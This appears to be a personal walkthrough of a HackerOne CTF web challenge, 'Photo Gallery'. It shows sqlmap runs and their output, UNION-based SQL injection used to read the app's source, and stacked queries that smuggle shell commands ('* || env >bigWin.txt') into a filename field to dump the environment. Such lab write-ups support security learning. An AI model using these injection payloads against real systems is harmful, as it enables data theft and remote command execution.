This is my Write Up for the "Photo Gallery" challenge of HackerOne's CTF.
As usual we get a link to webpage, it seems to be an image gallery, but one of the images is broken.
The missing one is called
Invisible, so lets look into that.
with Burp we were able to find that the server returns no content for this image.
images are loaded with a
GET Request to the server like so:
GET /ad3e8c7df9/fetch?id=1 HTTP/1.1
this also aligns with the first tip we are provided:
Hint 1: Consider how you might build this system yourself. What would the query for fetch look like?
naturally we start fuzzing the
1GET /ad3e8c7df9/fetch?id=4 HTTP/1.1 # 404 2GET /ad3e8c7df9/fetch?id=0 HTTP/1.1 # 404 3GET /ad3e8c7df9/fetch?id=-1 HTTP/1.1 # 500
alright, no quick wins, so let's give it a try with fizzing using sqlmap. Quickly we are able to see that the server seems to be vulnerable to some attack.
1sqlmap -u "http://22.214.171.124/ad3e8c7df9/fetch?id=2"
This command runs for quite a while and will try to find vulnerabilities in the fetch endpoint. when we are done we should know what to do next.
1Parameter: id (GET) 2Type: boolean-based blind 3Title: AND boolean-based blind - WHERE or HAVING clause 4Payload: id=2 AND 3567=3567 5 6Type: time-based blind 7Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) 8Payload: id=2 AND (SELECT 8480 FROM (SELECT(SLEEP(5)))KHRS)
1[21:44:44] [INFO] the back-end DBMS is MySQL 2web server operating system: Linux Ubuntu 3web application technology: Nginx 1.14.0 4back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
1| Type | Service | Version | Vulnerable? | 2| --------- | ------------ | ------------------------ | -------------- | 3| OS | Linux Ubuntu | ?? | not focused | 4| Webserver | Nginx | 1.14.0 | no | 5| Database | MySQL | >= 5.0.12 (MariaDB fork) | yes (id param) |
Good, we got something, we know the server is vulnerable to multiple vulnerabilities such as a 'boolean base blind'. We also found the Webserver is Nginx v1.14.0, which sadly has no usable vulnerabilities here. But with us now knowing the exact os and DB System used lets run sqlmap again with that info and see what we get.
1sqlmap -u "http://126.96.36.199/ad3e8c7df9/fetch?id=2" -f --os=linux --dbms=mysql --level=3 -o
we dont really get any more useful information from here. soo.. were kinda stuck lets just get another hint then:
Hint 2: Take a few minutes to consider the state of the union
The state uf the union? are they hinting on using UNION statements in the query? The UNION operator is used to combine the result-set of two or more SELECT statements. That seems like somethng we can make use of, so lets try and combine our query statements f.e. like this:
http://188.8.131.52/ad3e8c7df9/fetch?id=2 UNION SELECT 'something'
but what do we look for? Lets get another hint.
Hint 3: This application runs on the uwsgi-nginx-flask-docker image
uwsgi-nginx? hmm havent heard of that, but sems to be some kind of portable all in one flask. lets look for the docs.
uWSGI can be configured using several different methods.
YAML, JSON, INI are some supported formats -> ini beeing the defualt so lets try getting the 'uwsgi.ini' file?
this returns us some configdata pointing to module main which is the entrypoint.
1[uwsgi] 2module = main 3callable = app
so lets see if we can also fethc the main.py
Here we get lots of infos our first FLAG and the db connection settings:
1%s 2' % (pid, sanitize(ptitle)) fns.append(pfn) rep += 'Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '' rep += ' 3\n' return home.replace('$ALBUMS$', rep) @app.route('/fetch') def fetch(): cur = getDb().cursor() if cur.execute('SELECT filename FROM photos WHERE id=%s' % request.args['id']) == 0: abort(404) 4# It's dangerous to go alone, take this: # ^FLAG^9e6d57c394c129??????????????????????????????f74dbf2faa0abd571b32c7$FLAG$ return file('./%s' % cur.fetchone().replace('..', ''), 'rb').read() if __name__ == "__main__": app.run(host='0.0.0.0', port=80)
return MySQLdb.connect(host="localhost", user="root", password="", db="level5")
we also see that they are using the photos table
cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3', (id, ))
lets try to fuzz that with sqlmap, since we now know the DB and tables info we can launch a targeted attack.
1sqlmap -u "http://184.108.40.206/ad3e8c7df9/fetch?id=1" --method=GET --dump -D level5 -T photos -p id, --code=200 --ignore-code=500 --skip-waf -o --threads 2
This can take quite a while.. for me it crashed after 40 minutes, so i gave it another go with just focusing on the column
filename since, here is the value we need.we do this by adding the -C parameter, i also increased the thradcount to 4 to try and get faster results. I also changed the url to contain id=3 since this is the id we want to get the info from.
1sqlmap -u "http://220.127.116.11/c947e97f6e/fetch?id=3" --method=GET --dump -D level5 -T photos -p id, --code=200 --ignore-code=500 --skip-waf -o --threads 4 -C filename
This means that sqlmap will start with the filename of id=3 which is exactly what we want right now.
So lets have a look at our results:
1Database: level5 2Table: photos 3[3 entries] 4+------------------------------------------------------------------+ 5| filename | 6+------------------------------------------------------------------+ 7| 9ef8fc5da15625db993f1c8e120beafc6873d801a804670b9497ecc782ca11fa | 8| files/adorable.jpg | 9| files/purrfect.jpg | 10+------------------------------------------------------------------+
you might be getting partial values like so:
9ef8fc5di15625db993f1c8e120beafc6873d801a804670?????????????????you should be able to re-run sqlmap to find the missing characters
another file! nice lets try and get that with a UNION STATEMENT request like so:
GET /ad3e8c7df9/fetch?id=4 UNION SELECT 'tmp.txt'-- HTTP/1.1
hmm no luck it seems... let's do it another way.
From our previous findings we know that files are in the 'files' directory and that we can run sql statements on the id param. So we want to try to move the file or its contents so we can access it. We also got a new hint of using ls output to find temp file.
We want to run following statements via the vulnerable param:
update photos set filename='* || ls ./files >bigWin.txt ' where id=3; commit;
GET /ad3e8c7df9/fetch?id=1;%20update%20photos%20set%20filename=%27\*%20||%20ls%20./files%20%3EbigWin.txt%20%27%20where%20id=3;%20commit;%20-- HTTP/1.1
update photos set filename='* || env >bigWin.txt' where id=3; commit;
GET /ad3e8c7df9/fetch?id=1;%20update%20photos%20set%20filename%3D%27*%20%7C%7C%20env%20%3Etmp.txt%27%20where%20id%3D3%3B%20commit%3B%20-- HTTP/1.1
after you succsessfully ran those you should be able to run the union select again to get ahold of bigWin.txt!
GET /ad3e8c7df9/fetch?id=4 UNION SELECT 'bigWin.txt'-- HTTP/1.1
Tadaa!! we got it all.
1"^FLAG^9ef8fc5da15????????????????????????????????????????????782ca11fa$FLAG$" 2"^FLAG^63a407d0083????????????????????????????????????????????4564ee9f2$FLAG$" 3HOSTNAME=ad3e8c7df92d 4SHLVL=0